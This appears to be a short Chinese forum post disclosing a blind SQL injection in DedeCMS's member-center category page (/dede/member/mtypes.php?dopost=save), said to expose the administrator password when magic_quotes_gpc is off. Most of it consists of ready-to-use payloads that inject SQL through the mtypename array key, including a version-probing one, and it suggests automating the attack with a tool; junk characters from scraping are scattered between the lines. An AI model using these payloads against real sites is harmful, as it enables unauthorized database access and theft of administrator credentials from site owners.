DedeCMS会员中心分类管理SQL注射0day漏洞可获得管理员密码

admin

需要magic_quotes_gpc = Off,所以说是鸡肋啊.
+ ]+ E' ?, D$ p' n" s# O3 i5 G- }
% Z1 w4 e- \" T
- [6 z1 |. \5 e发生在数组key里的注射漏洞,有点意思.
. A% S" H! e& E) c/ x+ |7 ^( p; d
这里是盲注,就是麻烦点同样可以利用,可以写个工具,自动话的跑一下

http://www.xxx.com /dede/member/mtypes.php?dopost=save
9 C1 Z/ J6 i3 c* \! B  m0 J
exploit:
, q! p- i( z# T" o4 b, {( t! pmtypename[7' and (@`'` or (56%3D56/*sql inject here*/)) and '3'%3D'3]=c4rp3nt3r
! Z7 y/ l) m; ^  v# emtypename[7' and (@`'` or (substring(@@version,1,1)=5)) and '3'%3D'3]=c4rp3nt3r
" K  o; ~6 n3 @+ A/ }3 U6 ?" N6 F